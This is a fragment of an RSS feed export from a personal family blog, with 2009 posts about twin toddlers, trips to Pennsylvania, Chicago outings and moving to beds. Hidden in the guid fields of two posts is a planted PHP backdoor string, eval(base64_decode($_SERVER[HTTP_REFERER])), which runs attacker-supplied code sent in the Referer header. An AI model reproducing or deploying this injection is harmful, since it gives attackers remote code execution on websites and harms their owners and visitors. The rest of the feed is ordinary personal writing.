<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/09/image2.png"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/09/image2-thumb.png" alt="" width="320" height="480" /></a>Part of me sharing all of this is because first it makes me feel like the commitment is a bit more real and serious, and second because as we all know telling people puts more pressure on you to stay with it. I also hope that if I do well with it, maybe others are inspired to make changes in their own diets.</p>
<p style="clear: both">I&#8217;ll update later!</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/17/better-health-starts-today/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/17/better-health-starts-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weekend Photos from Millennium Park</title>
		<link>http://tomchak.com/blog/2009/09/14/weekend-photos-from-millennium-park/</link>
		<comments>http://tomchak.com/blog/2009/09/14/weekend-photos-from-millennium-park/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 22:10:57 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Chicago]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Millennium Park]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1891</guid>
		<description><![CDATA[
We had an awesome day downtown with the boys. The weather was great, and love him or hate him Mayor Daily sure knows how to create a beautiful public park. There&#8217;s always something to do down there, even with our little guys.
Here are a few photos, and the rest are on SmugMug.




]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1896" title="2009-09-12_img_0817" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-12_img_0817.jpg" alt="2009-09-12_img_0817" width="600" height="400" /></p>
<p>We had an awesome day downtown with the boys. The weather was great, and love him or hate him Mayor Daily sure knows how to create a beautiful public park. There&#8217;s always something to do down there, even with our little guys.</p>
<p>Here are a few photos, and the rest are on <a href="http://tomchak.smugmug.com/Family/2009-0912/9635239_5ekdW#649657842_Z6znD" target="_blank">SmugMug</a>.</p>
<p><img class="aligncenter size-full wp-image-1893" title="2009-09-12_img_0789" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-12_img_0789.jpg" alt="2009-09-12_img_0789" width="600" height="400" /></p>
<p><img class="aligncenter size-full wp-image-1892" title="2009-09-12_img_0744" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-12_img_0744.jpg" alt="2009-09-12_img_0744" width="600" height="464" /></p>
<p><img class="aligncenter size-full wp-image-1894" title="2009-09-12_img_0754" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-12_img_0754.jpg" alt="2009-09-12_img_0754" width="600" height="400" /></p>
<p><img class="aligncenter size-full wp-image-1895" title="2009-09-12_img_0812" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-12_img_0812.jpg" alt="2009-09-12_img_0812" width="600" height="400" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/14/weekend-photos-from-millennium-park/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/14/weekend-photos-from-millennium-park/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Another great saturday downtown&#8230;</title>
		<link>http://tomchak.com/blog/2009/09/12/another-great-saturday-downtow/</link>
		<comments>http://tomchak.com/blog/2009/09/12/another-great-saturday-downtow/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 18:36:33 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1886</guid>
		<description><![CDATA[
Another great saturday downtown with the boys. Not many days like this left, summer is nearly gone!
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1888" title="29344622" src="http://tomchak.com/blog/wp-content/uploads/2009/09/29344622.jpg" alt="29344622" width="600" height="450" /></p>
<p>Another great saturday downtown with the boys. Not many days like this left, summer is nearly gone!</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/12/another-great-saturday-downtow/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/12/another-great-saturday-downtow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Photos from PA, Batch 1</title>
		<link>http://tomchak.com/blog/2009/09/09/photos-from-pa-batch-1/</link>
		<comments>http://tomchak.com/blog/2009/09/09/photos-from-pa-batch-1/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 19:51:50 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1868</guid>
		<description><![CDATA[I didn&#8217;t take as many photos as I wanted to, mostly because it&#8217;s hard when you&#8217;re responsible for a twin (and sometimes two). Both taking photos and watching the boys takes all of your undivided attention, so taking photos suffered somewhat. 
However, the ones I did get came out pretty nice. Below are a few [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0425.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0425-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>I didn&#8217;t take as many photos as I wanted to, mostly because it&#8217;s hard when you&#8217;re responsible for a twin (and sometimes two). Both taking photos and watching the boys takes all of your undivided attention, so taking photos suffered somewhat. </p>
<p style="clear: both">However, the ones I did get came out pretty nice. Below are a few highlights, and you can find more on <a href="http://tomchak.smugmug.com/Family/2009-0909-Trip-to-PA/9575398_CEHmP#644291925_Du49g" target="_blank">SmugMug</a> as usual. I&#8217;ll have the rest posted by next week. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0432.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0432-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0441.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0441-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0454.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0454-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0476.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0476-thumb.jpg" height="600" width="400" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0493.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-06-img-0493-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-07-img-0518.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-07-img-0518-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/09/photos-from-pa-batch-1/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/09/photos-from-pa-batch-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Andrew and his Pants</title>
		<link>http://tomchak.com/blog/2009/09/08/andrew-and-his-pants/</link>
		<comments>http://tomchak.com/blog/2009/09/08/andrew-and-his-pants/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 17:21:04 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1880</guid>
		<description><![CDATA[On the way back we stopped at one of the rest areas in Ohio. Seems like we need to get a belt for Andrew and his pants, which are just a little too big!
[See post to watch QuickTime movie]

]]></description>
			<content:encoded><![CDATA[<p>On the way back we stopped at one of the rest areas in Ohio. Seems like we need to get a belt for Andrew and his pants, which are just a little too big!</p>
<div>[See post to watch QuickTime movie]</div>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/08/andrew-and-his-pants/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/08/andrew-and-his-pants/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Up early (too early) to start &#8230;</title>
		<link>http://tomchak.com/blog/2009/09/08/up-early-too-early-to-start/</link>
		<comments>http://tomchak.com/blog/2009/09/08/up-early-too-early-to-start/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 07:21:06 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1852</guid>
		<description><![CDATA[Up early (too early) to start the 13 hour drive back to Chicago. What a great trip we have had catching up with so many that we have missed.

]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/img-0503.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/img-0503-thumb.jpg" height="450" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a><br />Up early (too early) to start the 13 hour drive back to Chicago. What a great trip we have had catching up with so many that we have missed.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/08/up-early-too-early-to-start/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/08/up-early-too-early-to-start/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We&#8217;re having a great time in PA</title>
		<link>http://tomchak.com/blog/2009/09/06/were-having-a-great-time-with/</link>
		<comments>http://tomchak.com/blog/2009/09/06/were-having-a-great-time-with/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 12:57:35 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1851</guid>
		<description><![CDATA[We&#8217;re having a great time with the family in PA and getting more sleep then usual. We took a 3 hour family nap yesterday afternoon. Yea!

]]></description>
			<content:encoded><![CDATA[<p style="clear: both">We&#8217;re having a great time with the family in PA and getting more sleep then usual. We took a 3 hour family nap yesterday afternoon. Yea!</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/06/were-having-a-great-time-with/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/06/were-having-a-great-time-with/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lunch time, the boys are having fun.</title>
		<link>http://tomchak.com/blog/2009/09/04/lunch-time-the-boys-are-havin/</link>
		<comments>http://tomchak.com/blog/2009/09/04/lunch-time-the-boys-are-havin/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 17:01:17 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/09/04/lunch-time-the-boys-are-havin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Lunch time, the boys are having fun, and so is dad! 
Play Video

]]></description>
			<content:encoded><![CDATA[<p style="clear: both">Lunch time, the boys are having fun, and so is dad! </p>
<p style="clear: both"><a href="http://yfrog.us/7hgmjz" target="_blank">Play Video</a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/04/lunch-time-the-boys-are-havin/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/04/lunch-time-the-boys-are-havin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>At a rest stop in Ohio</title>
		<link>http://tomchak.com/blog/2009/09/04/at-a-rest-stop-in-ohio-with-so/</link>
		<comments>http://tomchak.com/blog/2009/09/04/at-a-rest-stop-in-ohio-with-so/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 15:07:39 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/09/04/at-a-rest-stop-in-ohio-with-so/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[At a rest stop in Ohio with some crabby little guys. Only 550 more miles to go! 
[See post to watch QuickTime movie]

]]></description>
			<content:encoded><![CDATA[<p style="clear: both">At a rest stop in Ohio with some crabby little guys. Only 550 more miles to go! </p>
<p style="clear: both">[See post to watch QuickTime movie]
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/04/at-a-rest-stop-in-ohio-with-so/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/04/at-a-rest-stop-in-ohio-with-so/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We are on the way!</title>
		<link>http://tomchak.com/blog/2009/09/04/we-are-on-the-way/</link>
		<comments>http://tomchak.com/blog/2009/09/04/we-are-on-the-way/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 09:53:52 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/09/04/we-are-on-the-way/</guid>
		<description><![CDATA[


]]></description>
			<content:encoded><![CDATA[<p style="clear: both">
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-04-img-0498.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-09-04-img-0498-thumb.jpg" height="450" align="left" width="600" style=" display: inline; float: left; margin: 0 10px 10px 0;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/04/we-are-on-the-way/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/04/we-are-on-the-way/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s a good night for GFS</title>
		<link>http://tomchak.com/blog/2009/09/02/its-a-good-night-for-gfs-gol/</link>
		<comments>http://tomchak.com/blog/2009/09/02/its-a-good-night-for-gfs-gol/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 01:47:47 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/09/02/its-a-good-night-for-gfs-gol/</guid>
		<description><![CDATA[It&#8217;s a good night for GFS, Goldfish &#038; Scotch. Especially after it took 90 minutes to get the boys asleep.

]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/snapshot-12520525004137691.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/snapshot-1252052500-thumb413769.jpg" height="363" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a><br />It&#8217;s a good night for GFS, Goldfish &#038; Scotch. Especially after it took 90 minutes to get the boys asleep.</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/02/its-a-good-night-for-gfs-gol/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/02/its-a-good-night-for-gfs-gol/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Cribs to Beds, Overnight</title>
		<link>http://tomchak.com/blog/2009/09/01/from-cribs-to-beds-overnight/</link>
		<comments>http://tomchak.com/blog/2009/09/01/from-cribs-to-beds-overnight/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 18:41:45 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Max]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1800</guid>
		<description><![CDATA[We had a nice surprise last week when the boys informed us that they now know how to get out of the crib in less then 10 seconds. They were quick to demonstrate it in front of us, by just throwing one leg over the top, pulling themselves over, and dropping down to the floor. [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0295.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0295-thumb2.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>We had a nice surprise last week when the boys informed us that they now know how to get out of the crib in less then 10 seconds. They were quick to demonstrate it in front of us, by just throwing one leg over the top, pulling themselves over, and dropping down to the floor. Well that&#8217;s not very good for mom and dad, knowing that they can get out anytime that they want! </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0336.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0336-thumb2.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>Their room was not really totally child proof, since we really never let them play in there. We had plenty of things that they could get into &#8211; like old fireworks, open paint cans and a case of &#8220;easy strike&#8221; matches. So, we had to make some changes. All of those things are now in the bottom drawer of their dresser. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0333.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0333-thumb2.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>They now have toddler beds (cute little beds from <a href="http://www.ikea.com/us/en/catalog/products/S39847516" target="_blank">IKEA</a>) that can be adjusted as they get taller. On the surface it wasn&#8217;t all that expensive, until you doubled the price for everything since we needed 2 of them. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0299.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0299-thumb2.jpg" height="308" width="267" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>How have they done? It&#8217;s been a challenge, but they&#8217;re getting better. The first several nights they screamed, cried and spent an hour jumping on the beds and sometimes hitting the floor. Now they&#8217;re much better. The crying time is less then 15 minutes and for the most part they sleep through the night. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0300.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0300-thumb2.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>So now the room is all setup for the two of them plus #3, and their new sibling due to be here in just 12 more weeks. Then the real fun begins. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0325.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/09/2009-08-29-img-0325-thumb2.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/09/01/from-cribs-to-beds-overnight/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/09/01/from-cribs-to-beds-overnight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On another shoot for the Super Secret Project</title>
		<link>http://tomchak.com/blog/2009/08/27/on-another-shoot-for-the-super/</link>
		<comments>http://tomchak.com/blog/2009/08/27/on-another-shoot-for-the-super/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 15:58:00 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/27/on-another-shoot-for-the-super/</guid>
		<description><![CDATA[



On another shoot for the super secret super exciting project we are working on. Big fun today.
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1794" title="2009-08-27_img_0279" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-27_img_0279.jpg" alt="2009-08-27_img_0279" width="600" height="400" /></p>
<p><img class="aligncenter size-full wp-image-1796" title="2009-08-27_img_0276" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-27_img_0276.jpg" alt="2009-08-27_img_0276" width="600" height="400" /></p>
<p><img class="aligncenter size-full wp-image-1795" title="2009-08-27_img_0277" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-27_img_0277.jpg" alt="2009-08-27_img_0277" width="600" height="400" /></p>
<p><img class="aligncenter size-full wp-image-1797" title="2009-08-27_img_0471" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-27_img_0471.jpg" alt="2009-08-27_img_0471" width="600" height="450" /></p>
<p>On another shoot for the super secret super exciting project we are working on. Big fun today.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/27/on-another-shoot-for-the-super/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/27/on-another-shoot-for-the-super/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spending the day playing Mr. Mom</title>
		<link>http://tomchak.com/blog/2009/08/26/spending-the-day-playing-mr-mo/</link>
		<comments>http://tomchak.com/blog/2009/08/26/spending-the-day-playing-mr-mo/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 11:12:59 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/26/spending-the-day-playing-mr-mo/</guid>
		<description><![CDATA[
Spending the day playing mr mom with the boys today and excited to be doing so! First stop today will be My Gym for some good playin&#8217; time.
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1791" title="2009-08-26_img_0463" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-26_img_0463.jpg" alt="2009-08-26_img_0463" width="600" height="450" /></p>
<p>Spending the day playing mr mom with the boys today and excited to be doing so! First stop today will be My Gym for some good playin&#8217; time.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/26/spending-the-day-playing-mr-mo/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/26/spending-the-day-playing-mr-mo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Having lunch with a good friend at Wishbone</title>
		<link>http://tomchak.com/blog/2009/08/25/having-lunch-with-a-good-frien/</link>
		<comments>http://tomchak.com/blog/2009/08/25/having-lunch-with-a-good-frien/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 18:18:02 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/25/having-lunch-with-a-good-frien/</guid>
		<description><![CDATA[
Having lunch with a good friend at wishbone, west loop. I love this restaurant and miss having it as a regular lunch option.
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1786  aligncenter" title="wishbone_chicago" src="http://tomchak.com/blog/wp-content/uploads/2009/08/wishbone_chicago.jpg" alt="wishbone_chicago" width="500" height="375" /></p>
<p>Having lunch with a good friend at wishbone, west loop. I love this restaurant and miss having it as a regular lunch option.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/25/having-lunch-with-a-good-frien/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/25/having-lunch-with-a-good-frien/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weekend Photos from MyGym and Arlington Race Track</title>
		<link>http://tomchak.com/blog/2009/08/24/weekend-photos-from-mygym-and-arlington-race-track/</link>
		<comments>http://tomchak.com/blog/2009/08/24/weekend-photos-from-mygym-and-arlington-race-track/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 15:24:30 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/24/weekend-photos-from-mygym-and-arlington-race-track/</guid>
		<description><![CDATA[This past weekend we spent our usual family day together (my favorite day of the week). We started the day at My Gym, and the boys just love it there. The first time we took them there they were so excited the didn&#8217;t know what they wanted to do next. 
The down side to taking [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-3.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-3-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>This past weekend we spent our usual family day together (my favorite day of the week). We started the day at <a href="http://www.my-gym.com/" target="_blank">My Gym</a>, and the boys just love it there. The first time we took them there they were so excited the didn&#8217;t know what they wanted to do next. </p>
<p style="clear: both">The down side to taking them there? </p>
<p style="clear: both">We think we&#8217;ve accelerated their climbing abilities. Last night Andrew successfully climbed out of his crib while in a &#8220;time out&#8221;. Then when we put both boys in the cribs and watched them to see how they were doing it, it was obvious they they could do it without any assistance at all. They just threw a leg up on the top and pulled themselves over to drop down to the floor. I thought we had at least a few more months before having to deal with this! Just another one of those changes you don&#8217;t see coming until it&#8217;s there. For now we&#8217;re using a sheet of plywood and a heavy computer monitor on top of the crib to keep them in. We&#8217;ll probably have to find something else though soon. </p>
<p style="clear: both">We also took them to the <a href="http://www.arlingtonpark.com/" target="_blank">Arlington Park</a> race track which is, believe it or not, very family oriented. There is plenty of green grass for them to run and play on and picnic tables all over the place. It was a nice change of pace from going to some of the other parks we take them to. </p>
<p style="clear: both">For dinner we took them out for pizza, but all they really wanted to do was play (i&#8217;ll have video of this later). They were just loads of fun all day!</p>
<p style="clear: both">It&#8217;s these days that make all of the difficult things worth it. I just love these boys so much, it&#8217;s still hard to believe they&#8217;re ours. </p>
<p style="clear: both">The rest of the photos can be found on <a href="http://tomchak.smugmug.com/Family/2009-0822-Family-Day-with-the/9389881_3ooKg#628871189_jR7UM" target="_blank">SmugMug</a> as usual. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-4.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-4-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-5.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-5-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-6.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-6-thumb.jpg" height="599" width="536" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-7.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-7-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-8.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-8-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
